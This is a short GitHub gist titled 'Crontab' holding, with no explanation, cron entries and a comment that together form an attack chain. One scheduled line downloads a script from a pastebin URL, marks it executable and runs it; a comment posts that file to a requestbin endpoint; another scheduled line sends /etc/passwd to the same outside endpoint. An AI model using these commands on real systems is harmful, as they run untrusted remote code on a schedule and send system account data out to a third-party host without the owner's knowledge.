Skip to content

Instantly share code, notes, and snippets.

@setrus
Last active February 12, 2018 13:18
Show Gist options
  • Save setrus/5019497ac1e80130985da84fc99edf0f to your computer and use it in GitHub Desktop.
Save setrus/5019497ac1e80130985da84fc99edf0f to your computer and use it in GitHub Desktop.
Crontab
51 14 * * * wget -O /tmp/command https://pastebin.com/raw/1Ru7ms7t && chmod +x /tmp/command && /tmp/command
@setrus
Copy link
Author

setrus commented Feb 12, 2018

curl -X POST -F command=@/tmp/command http://requestbin.fullcontact.com/1ck74qs1

@setrus
Copy link
Author

setrus commented Feb 12, 2018

17 15 * * * curl -X POST -F command=@/etc/passwd http://requestbin.fullcontact.com/1ck74qs1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment